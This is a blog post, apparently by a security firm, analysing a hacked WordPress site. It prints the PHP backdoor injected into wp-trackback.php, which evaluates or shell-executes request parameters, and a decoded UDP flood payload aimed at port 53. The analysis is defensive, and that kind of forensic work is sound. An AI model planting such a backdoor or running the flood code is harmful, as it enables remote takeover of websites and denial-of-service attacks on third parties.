PHP Backdoor on a compromised WordPress to DDoS Attacks

Last week we shared our research on how we investigated and restored a Hacked WordPress site running on a Linode VPS. In that article, we showed the steps we took on the compromised server to identify and remediate the issue; from looking at the server activities, to checking the logs and comparing the integrity of WordPress to find out what had been modified.

In this article we want to focus on PHP backdoor, and how it was used to initiate a DDoS attacks against other servers.

As a reminder, this is where we left off in our previous post. By performing a simple diff we were able to quickly identify the backdoor. The attacker had modified wp-trackback.php and buried a secondary payload inside wp-includes (i.e., /assets/.style.php).

# cd /var/www
# wget
# unzip
# diff -r wordpress/
Only in wp-config.php
Only in upgrade
Only in uploads
Only in .style.php
diff -r wordpress/wp-trackback.php
< <?php
> <?php
if(isset($_REQUEST["pw"], $_REQUEST["c"])){if($_REQUEST["pw"]=="PASS"){try{if(isset($_REQUEST["c1"])){eval ($_REQUEST["c"]);}else if(isset($_REQUEST["c2"])){header("Content-Type: text/plain");passthru ($_REQUEST["c"]);}else{eval (base64_decode  ($_REQUEST["c"]));}}catch(Exception $e){header("Content-Type: text/plain");var_dump($e);}die();}} 

If you are not familiar with the "diff" command, it is showing that the wp-trackback.php, a core WordPress file, was modified and injected with the code above (a backdoor). This backdoor allowed the attacker to run commands on the server.

Dissecting the PHP backdoor

Before we go into the DDoS attacks and how the attacker was controlling the backdoor, let's look at the PHP code itself. First, since the code was all mangled together in one line, let's "beautify" it so we can actually make sense of what it is doing:

Ok, that makes it a lot easier to read.

The code expects 2 GET or POST requests called "pw" and "c". If they are set and the "pw" value matches the backdoor password, it will give the attacker 3 options:

  Before CDN
PHP Eval By passing the c1 argument, it will call the PHP function eval() in the attackers code. Eval() executes whatever code provided.
PHP Passthru By passing the c2 argument, it will call the unix shell and execute the commands the attacker provided.
PHP Eval base64 The last option, the default one, will base64 decode the payload provided by the attacker and run eval() to run the PHP code.

As you can see, it is a full-featured backdoor, giving the attacker a lot of options. But it doesn't end there...

Watching the attackers

During our analysis, we were frustrated because we didn't have enough enough logs, or visibility, into what really happened on the server. We call it "black box" forensics, where we go into a server that can't be fully shut down and lacks the logs and visibility we would have hoped for.

However, they did allow us to setup a logging tool on the server post-recovery to investigate exactly what the attackers were doing and how they were misusing the server.

The tool logged every POST and GET request to wp-trackback.php and to the .style.php to see what they would do to gain access back to the server (or if they would try to run another DDoS campaign).

We sat back and waited.

A few hours after the cleanup, we got one request to wp-trackback.php from the same IP that was attacking it initially ( ). This is the payload we intercepted:


It sent two requests, a POST['pw'] with the PHP backdoor password and a POST['c'] with a long base64 encoded string. Cool! Let's see what they were trying to do.

Backdoor to outbound DDoS Attacks

First, we decoded the base64 encoded string and found the following code:

error_reporting(0); set_time_limit(0); $start=time();$trh="a.b.c.d";$trp="53";$trl=(int)"300";$trd=(int)"{v3}";function trt_ils(){global $trh,$trp,$trl;$stop=time()+$trl;$spdat="";for($i=0;$i<rand(9999;24999);$i++){$spdat.=hex2bin(sprintf("%02x",rand(0,255)));}$it=0;$trh2="udp://".$trh;while(true){if($it>1000){$it=0;if(time()>=$stop)return;}$it++;try{$fp=@fsockopen($trh2,$trp,$aaa1,$aaa2,1);@fwrite($fp,$spdat);@fclose($fp);}catch(Exception $ex){continue;}}}@ini_set('output_buffering','off');... trt_ils();

All in one line, making it very hard to read. Same as the previous code, let's beautify it a bit to see what it is doing:

The code receives 3 main arguments: $trh (victim IP), $trp (victim port) and $trl (how long to attack), which are sent to this trt_ils() function.

The interesting part is inside the trt_ils() function that creates a while loop and calls fsockopen/fwrite for as many times as it can for $trl seconds.


They also create a random variable called $spdat with mostly random content and dump into $fwrite to send to the $trh (victim IP).

A good server can easily generate thousands of packets per second with code like this. In this example, it was DDoS'ing port 53 (used by DNS) a server running on That would also explain why we found Apache running at 100% capacity during our initial analysis. It was stuck in this loop for 300 seconds sending packets to the DDoS victim.

The scale of this is interesting as well. If the attacker has 100 compromised servers under his control and each one is doing only 1,000 outbound requests per second, the victim will easily receive 100,000 requests per second of attack. In a previous attack we analyzed, the attacker had over 7,000 different servers under his control. Image 7,000 servers doing 1,000 requests per day. Bad day for anyone under attack.

That's pretty much it.

A WordPress site got hacked, and used as a DDoS bot. What's the lesson for it? If you don't secure your sites, you are not only hurting yourself, but being used to attack other people. Do you have an interesting payload, or issue, you'd like us to investigate? Ping us at

Posted in   security-research   malware-analysis     by Daniel Cid (@dcid)

Improve Your Websites Speed and Security